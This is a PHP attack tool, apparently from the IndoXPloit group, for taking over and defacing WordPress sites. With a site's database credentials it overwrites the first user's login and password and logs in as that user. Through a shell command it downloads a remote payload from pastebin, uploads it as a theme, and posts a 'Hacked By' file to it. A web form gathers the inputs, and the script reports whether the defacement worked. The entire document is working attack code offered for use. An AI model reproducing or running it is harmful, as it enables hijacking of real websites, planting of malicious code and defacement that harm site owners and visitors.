auto edit user and deface in Wordpress

<?php
//Tu5b0l3d
//IndoXPloit, HNc
//http://indoxploit.blogspot.co.id/2015/10/auto-edit-user-and-deface-in-wordpress.html

    if($_POST){
        $host = $_POST['host'];
        $username = $_POST['username'];
        $password = $_POST['password'];
        $db = $_POST['db'];
        $dbprefix = $_POST['dbprefix'];
        $user_baru = $_POST['user_baru'];
        $password_baru = $_POST['password_baru'];
        $prefix = $db.".".$dbprefix."users";
        $sue = $db.".".$dbprefix."options";
         $tanya = $_POST['tanya'];
         $target = $_POST['target'];
         $nick = $_POST['nick'];
        $pass = md5("$password_baru");


        mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
        mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");

        $tampil=mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
        $r=mysql_fetch_array($tampil);
        $id = $r[ID];

        $tampil2=mysql_query("SELECT * FROM $sue ORDER BY option_id ASC");
        $r2=mysql_fetch_array($tampil2);
        $target = $r2[option_value];
         echo "# $target<br>";


         mysql_query("UPDATE $prefix SET user_pass='$pass',user_login='$user_baru' WHERE ID='$id'");




            if($tanya=="y"){

    function ambilKata($param, $kata1, $kata2){
    if(strpos($param, $kata1) === FALSE) return FALSE;
    if(strpos($param, $kata2) === FALSE) return FALSE;
    $start = strpos($param, $kata1) + strlen($kata1);
    $end = strpos($param, $kata2, $start);
    $return = substr($param, $start, $end - $start);
    return $return;
}

    function anucurl($sites){
        $ch1 = curl_init ("$sites");
curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
$data = curl_exec ($ch1);
return $data;
    }

    function lohgin($cek, $web, $userr, $pass){
        $post = array(
                    "log" => "$userr",
                    "pwd" => "$pass",
                    "rememberme" => "forever",
                    "wp-submit" => "Log In",
                    "redirect_to" => "$web/wp-admin/",
                    "testcookie" => "1",
                    );
$ch = curl_init ("$cek");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data6 = curl_exec ($ch);
return $data6;
    }

$site= "$target/wp-login.php";
$site2= "$target/wp-admin/theme-install.php?upload";
$a = lohgin($site, $target, $user_baru, $password_baru);
$b = lohgin($site2, $target, $user_baru, $password_baru);


$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
echo "# token -> $anu2<br>";


 system('wget http://pastebin.com/raw.php?i=mEQP6prW');
 system('cp raw.php?i=mEQP6prW m.php');

  $post2 = array(
                    "_wpnonce" => "$anu2",
                    "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
                    "themezip" => "@m.php",
                    "install-theme-submit" => "Install Now",
                    );
$ch = curl_init ("$target/wp-admin/update.php?action=upload-theme");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data3 = curl_exec ($ch);

$namafile = "wew.php";
$fp2 = fopen($namafile,"w");
fputs($fp2,$nick);

$y = date("Y");
$m = date("m");


$ch6 = curl_init("$target/wp-content/uploads/$y/$m/m.php");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS,
array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "coker_log");
$postResult = curl_exec($ch6);
curl_close($ch6);

$as = "$target/k.php";
$bs = file_get_contents($as);
 if(preg_match("#hacked#si",$bs)){
                        echo "# <font color='green'>berhasil mepes...</font><br>";
                        echo "# $target/k.php<br>";
                    }
                    else{
                        echo "# <font color='red'>gagal mepes...</font><br>";
                        echo "# coba aja manual: <br>";
                        echo "# $target/wp-login.php<br>";
                        echo "# username: $user_baru<br>";
                        echo "# password: $password_baru<br>";


                    }




        }

        elseif($tanya=="n"){
            echo "# Sukses<br>";
            echo "# username: $user_baru<br>";
            echo "# password: $password_baru<br>";
        }



    }else{
            echo '<html>
    <head>
        <title>Wordpress Created New User</title>
    </head>

    <body>
            <center>
                <center><div id="button"></div>
                        <h2>Wordpress Created New User</h2>
                        <table>
                            <tr><td><form method="post" action="?action"></td></tr>
                            <tr><td><input type="text" name="host" placeholder="localhost"></td></tr>
                            <tr><td><input type="text" name="username" placeholder="User DB"></td></tr>
                            <tr><td><input type="text" name="password" placeholder="Password DB"></td></tr>
                            <tr><td><input type="text" name="db" placeholder="Database"></td></tr>
                            <tr><td><input type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
                            <tr><td><input type="text" name="user_baru" placeholder="Username Baru"></td></tr>
                            <tr><td><input type="text" name="password_baru" placeholder="Password Baru"></td></tr>
                              <tr><td> Auto Deface <input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n</td></tr>

                             <tr><td><input type="text" name="nick" placeholder="Hacked By Tu5b0l3d"></td></tr>
                            <tr><td><input type="submit" value="Ganti"></td></tr>
                        </table>
                        *nb: kalo milih y ... silahkan Ganti Form Hacked By Tu5b0l3d jadi Hacked by Nick_ente
            </center>
    </body>';
        }

?>